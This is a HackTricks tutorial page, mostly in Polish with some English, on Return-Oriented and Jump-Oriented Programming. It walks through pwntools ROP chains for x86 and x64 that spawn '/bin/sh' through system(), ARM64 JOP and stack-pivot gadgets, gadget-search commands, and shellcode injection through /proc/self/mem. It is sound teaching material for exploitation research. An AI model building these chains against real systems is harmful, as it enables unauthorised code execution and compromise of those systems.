ROP & JOP

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

Return-Oriented Programming (ROP) to zaawansowana technika eksploatacji używana do obejścia mechanizmów bezpieczeństwa takich jak No-Execute (NX) lub Data Execution Prevention (DEP). Zamiast wstrzykiwać i wykonywać shellcode, atakujący wykorzystuje fragmenty kodu już obecne w binarium lub w załadowanych bibliotekach, znane jako “gadgets”. Każdy gadget zazwyczaj kończy się instrukcją ret i wykonuje niewielką operację, taką jak przenoszenie danych między rejestrami lub wykonywanie operacji arytmetycznych. Łącząc te gadgets, atakujący może zbudować payload, aby wykonać dowolne operacje, skutecznie omijając ochrony NX/DEP.

Jak działa ROP

  1. Control Flow Hijacking: Po pierwsze, atakujący musi przejąć przepływ sterowania programu, zwykle poprzez wykorzystanie buffer overflow w celu nadpisania zachowanego adresu powrotu na stosie.
  2. Gadget Chaining: Następnie atakujący ostrożnie wybiera i łączy gadgets, aby wykonać żądane działania. Może to obejmować przygotowanie argumentów dla wywołania funkcji, wywołanie funkcji (np. system("/bin/sh")) oraz wykonanie niezbędnego sprzątania lub dodatkowych operacji.
  3. Payload Execution: Kiedy podatna funkcja zwraca, zamiast wracać do legalnej lokalizacji, zaczyna wykonywać łańcuch gadgets.

Narzędzia

Zazwyczaj gadgets można znaleźć za pomocą ROPgadget, ropper lub bezpośrednio w pwntools (ROP).

Przykład łańcucha ROP w x86

Konwencje wywołań x86 (32-bit)

  • cdecl: Wywołujący czyści stos. Argumenty funkcji są wrzucane na stos w odwrotnej kolejności (od prawej do lewej). Argumenty są umieszczane na stosie od prawej do lewej.
  • stdcall: Podobne do cdecl, ale to wywoływana funkcja odpowiada za oczyszczenie stosu.

Znajdowanie gadgets

Najpierw załóżmy, że zidentyfikowaliśmy niezbędne gadgets w binarium lub w załadowanych bibliotekach. Gadgets, którymi się interesujemy, to:

  • pop eax; ret: Ten gadget wypycha (pop) najwyższą wartość stosu do rejestru EAX, a następnie wykonuje ret, co pozwala nam kontrolować EAX.
  • pop ebx; ret: Podobny do powyższego, ale dla rejestru EBX, umożliwiając kontrolę nad EBX.
  • mov [ebx], eax; ret: Kopiuje wartość z EAX do lokalizacji pamięci wskazywanej przez EBX, a następnie wykonuje ret. Często nazywane jest to write-what-where gadget.
  • Dodatkowo mamy dostęp do adresu funkcji system().

ROP Chain

Używając pwntools, przygotowujemy stos do wykonania łańcucha ROP w następujący sposób, dążąc do wykonania system('/bin/sh'). Zwróć uwagę, jak łańcuch zaczyna się od:

  1. Instrukcja ret w celach wyrównania (opcjonalnie)
  2. Adres funkcji system (zakładając, że ASLR jest wyłączony i znane libc, więcej informacji w Ret2lib)
  3. Miejsce na adres powrotu z system()
  4. "/bin/sh" string address (parameter dla funkcji system)
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

ROP Chain in x64 - Przykład

x64 (64-bit) Konwencje wywołań

  • Używa konwencji wywołań System V AMD64 ABI na systemach podobnych do Uniksa, gdzie pierwsze sześć argumentów całkowitoliczbowych lub wskaźnikowych jest przekazywanych w rejestrach RDI, RSI, RDX, RCX, R8 i R9. Dodatkowe argumenty są przekazywane na stosie. Wartość zwracana znajduje się w RAX.
  • Windows x64 używa konwencji wywołań, w której RCX, RDX, R8 i R9 służą do przekazywania pierwszych czterech argumentów całkowitoliczbowych lub wskaźnikowych, a dodatkowe argumenty są przekazywane na stosie. Wartość zwracana znajduje się w RAX.
  • Rejestry: 64-bitowe rejestry obejmują RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP oraz R8 do R15.

Znajdowanie Gadgets

Dla naszych potrzeb skupmy się na gadgets, które pozwolą nam ustawić rejestr RDI (aby przekazać łańcuch “/bin/sh” jako argument do system()) i następnie wywołać funkcję system(). Załóżmy, że zidentyfikowaliśmy następujące gadgets:

  • pop rdi; ret: Pobiera wartość z wierzchu stosu do rejestru RDI, a następnie zwraca. Niezbędne do ustawienia argumentu dla system().
  • ret: Proste polecenie zwrotu, przydatne do wyrównania stosu w niektórych scenariuszach.

I znamy adres funkcji system().

ROP Chain

Poniżej znajduje się przykład użycia pwntools do zbudowania i wykonania ROP chain mającego na celu uruchomienie system(‘/bin/sh’) na x64:

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

In this example:

  • We utilize the pop rdi; ret gadget to set RDI to the address of "/bin/sh".
  • We directly jump to system() after setting RDI, with system()’s address in the chain.
  • ret_gadget is used for alignment if the target environment requires it, which is more common in x64 to ensure proper stack alignment before calling functions.

Stack Alignment

ABI x86-64 zapewnia, że stos jest wyrównany do 16 bajtów kiedy wykonywana jest instrukcja call. LIBC, aby zoptymalizować wydajność, używa instrukcji SSE (takich jak movaps), które wymagają takiego wyrównania. Jeśli stos nie jest poprawnie wyrównany (tzn. RSP nie jest wielokrotnością 16), wywołania funkcji takich jak system zawiodą w łańcuchu ROP. Aby to naprawić, po prostu dodaj ret gadget przed wywołaniem system w swoim łańcuchu ROP.

x86 vs x64 main difference

Tip

Ponieważ x64 używa rejestrów dla pierwszych kilku argumentów, często wymaga mniej gadżetów niż x86 dla prostych wywołań funkcji, ale znalezienie i połączenie odpowiednich gadżetów może być bardziej skomplikowane ze względu na zwiększoną liczbę rejestrów oraz większą przestrzeń adresową. Zwiększona liczba rejestrów i większa przestrzeń adresowa w architekturze x64 stwarzają zarówno możliwości, jak i wyzwania przy tworzeniu exploitów, szczególnie w kontekście Return-Oriented Programming (ROP).

ROP chain in ARM64

Regarding ARM64 Basics & Calling conventions, check the following page for this information:

Introduction to ARM64v8

[!DANGER] Ważne: należy pamiętać, że przy skakaniu do funkcji za pomocą ROP w ARM64 powinno się skakać co najmniej do drugiej instrukcji funkcji, aby zapobiec zapisaniu na stosie bieżącego wskaźnika stosu i utknięciu w wiecznym loopie wywołań tej funkcji.

Finding gadgets in system Dylds

The system libraries comes compiled in one single file called dyld_shared_cache_arm64. This file contains all the system libraries in a compressed format. To download this file from the mobile device you can do:

scp [-J <domain>] root@10.11.1.1:/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 .
# -Use -J if connecting through Corellium via Quick Connect

Następnie możesz użyć kilku narzędzi, aby wyodrębnić rzeczywiste biblioteki z pliku dyld_shared_cache_arm64:

brew install keith/formulae/dyld-shared-cache-extractor
dyld-shared-cache-extractor dyld_shared_cache_arm64 dyld_extracted

Teraz, aby znaleźć interesujące gadgets dla binary, który eksploatujesz, najpierw musisz wiedzieć, które biblioteki są załadowane przez ten binary. Możesz do tego użyć lldb*:

lldb ./vuln
br s -n main
run
image list

Na koniec możesz użyć Ropper, aby znaleźć gadgets w bibliotekach, którymi jesteś zainteresowany:

# Install
python3 -m pip install ropper --break-system-packages
ropper --file libcache.dylib --search "mov x0"

JOP - Jump Oriented Programming

JOP to technika podobna do ROP, ale każdy gadget, zamiast używać instrukcji RET na końcu, używa adresów skoku. Może to być szczególnie przydatne w sytuacjach, gdy ROP nie jest wykonalny, na przykład gdy nie ma dostępnych odpowiednich gadgets. Jest to powszechnie stosowane w architekturach ARM, gdzie instrukcja ret nie jest tak często używana jak w architekturach x86/x64.

Możesz też użyć narzędzi rop do znalezienia JOP gadgets, na przykład:

cd usr/lib/system # (macOS or iOS) Let's check in these libs inside the dyld_shared_cache_arm64
ropper --file *.dylib --search "ldr x0, [x0" # Supposing x0 is pointing to the stack or heap and we control some space around there, we could search for Jop gadgets that load from x0

Zobaczmy przykład:

  • Istnieje heap overflow that allows us to overwrite a function pointer przechowywany w heap, który zostanie wywołany.

  • x0 wskazuje na heap, gdzie kontrolujemy pewną przestrzeń

  • Z załadowanych bibliotek systemowych znajdujemy następujące gadgets:

0x00000001800d1918: ldr x0, [x0, #0x20]; ldr x2, [x0, #0x30]; br x2;
0x00000001800e6e58: ldr x0, [x0, #0x20]; ldr x3, [x0, #0x10]; br x3;
  • Możemy użyć pierwszego gadgetu, aby załadować x0 wskaźnikiem do /bin/sh (przechowywanym w heap) i następnie załadować x2 z x0 + 0x30 adresem system i skoczyć do niego.

Stack Pivot

Stack pivoting to technika używana w exploitation do zmiany wskaźnika stosu (RSP w x64, SP w ARM64), aby wskazywał na kontrolowany obszar pamięci, taki jak heap lub bufor na stosie, gdzie atakujący może umieścić swój payload (zazwyczaj łańcuch ROP/JOP).

Examples of Stack Pivoting chains:

  • Przykład: tylko 1 gadget:
mov sp, x0; ldp x29, x30, [sp], #0x10; ret;

The `mov sp, x0` instruction sets the stack pointer to the value in `x0`, effectively pivoting the stack to a new location. The subsequent `ldp x29, x30, [sp], #0x10; ret;` instruction loads the frame pointer and return address from the new stack location and returns to the address in `x30`.
I found this gadget in libunwind.dylib
If x0 points to a heap you control, you can control the stack pointer and move the stack to the heap, and therefore you will control the stack.

0000001c61a9b9c:
ldr x16, [x0, #0xf8];    // Control x16
ldr x30, [x0, #0x100];   // Control x30
ldp x0, x1, [x0];        // Control x1
mov sp, x16;             // Control sp
ret;                     // ret will jump to x30, which we control

To use this gadget you could use in the heap something like:
<address of x0 to keep x0>     # ldp x0, x1, [x0]
<address of gadget>            # Let's suppose this is the overflowed pointer that allows to call the ROP chain
"A" * 0xe8 (0xf8-16)           # Fill until x0+0xf8
<address x0+16>                # Lets point SP to x0+16 to control the stack
<next gadget>                  # This will go into x30, which will be called with ret (so add of 2nd gadget)
  • Przykład multiple gadgets:
// G1: Typical PAC epilogue that restores frame and returns
// (seen in many leaf/non-leaf functions)
G1:
ldp     x29, x30, [sp], #0x10     // restore FP/LR
autiasp                          // **PAC check on LR**
retab                            // **PAC-aware return**

// G2: Small helper that (dangerously) moves SP from FP
// (appears in some hand-written helpers / stubs; good to grep for)
G2:
mov     sp, x29                  // **pivot candidate**
ret

// G3: Reader on the new stack (common prologue/epilogue shape)
G3:
ldp     x0, x1, [sp], #0x10      // consume args from "new" stack
ret
G1:
stp x8, x1, [sp]  // Store at [sp] → value of x8 (attacker controlled) and at [sp+8] → value of x1 (attacker controlled)
ldr x8, [x0]      // Load x8 with the value at address x0 (controlled by attacker, address of G2)
blr x8            // Branch to the address in x8 (controlled by attacker)

G2:
ldp x29, x30, [sp], #0x10  // Loads x8 -> x29 and x1 -> x30. The value in x1 is the value for G3
ret
G3:
mov sp, x29       // Pivot the stack to the address in x29, which was x8, and was controlled by the attacker possible pointing to the heap
ret

Shellcode przez /proc/self/mem (Embedded Linux)

Jeśli masz już łańcuch ROP, ale no RWX mappings, alternatywą jest write shellcode into the current process using /proc/self/mem, a następnie wykonać skok do niego. Jest to powszechne w systemach Embedded Linux, gdzie /proc/self/mem może ignorować zabezpieczenia zapisu na segmentach wykonywalnych w domyślnych konfiguracjach.

Typowy pomysł łańcucha:

fd = open("/proc/self/mem", O_RDWR);
lseek(fd, target_addr, SEEK_SET);   // e.g., a known RX mapping or code cave
write(fd, shellcode, shellcode_len);
((void(*)())target_addr)();         // ARM Thumb: jump to target_addr | 1

If preserving fd is hard, calling open() multiple times can make it feasible to guess the descriptor used for /proc/self/mem. On ARM Thumb targets, remember to set the low bit when branching (addr | 1).

Ochrony przed ROP i JOP

  • ASLR & PIE: Te zabezpieczenia utrudniają użycie ROP, ponieważ adresy gadgets zmieniają się między uruchomieniami.
  • Stack Canaries: W przypadku BOF konieczne jest obejście przechowywanego stack canary, aby nadpisać wskaźniki powrotu i wykorzystać łańcuch ROP.
  • Lack of Gadgets: Jeśli nie ma wystarczającej liczby gadgets, nie będzie możliwe wygenerowanie łańcucha ROP.

Techniki oparte na ROP

Zauważ, że ROP to jedynie technika umożliwiająca wykonanie arbitralnego kodu. W oparciu o ROP opracowano wiele technik Ret2XXX:

  • Ret2lib: Używa ROP do wywoływania dowolnych funkcji z załadowanej biblioteki z arbitralnymi parametrami (zwykle coś w stylu system('/bin/sh').

Ret2lib

  • Ret2Syscall: Używa ROP do przygotowania wywołania syscall (np. execve) i wykonania dowolnych poleceń.

Ret2syscall

  • EBP2Ret & EBP Chaining: Pierwsza wykorzystuje EBP zamiast EIP do kontrolowania przepływu, a druga jest podobna do Ret2lib, ale w tym przypadku przepływ jest kontrolowany głównie przez adresy EBP (choć nadal trzeba kontrolować EIP).

Stack Pivoting

Inne przykłady i odniesienia

Referencje

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks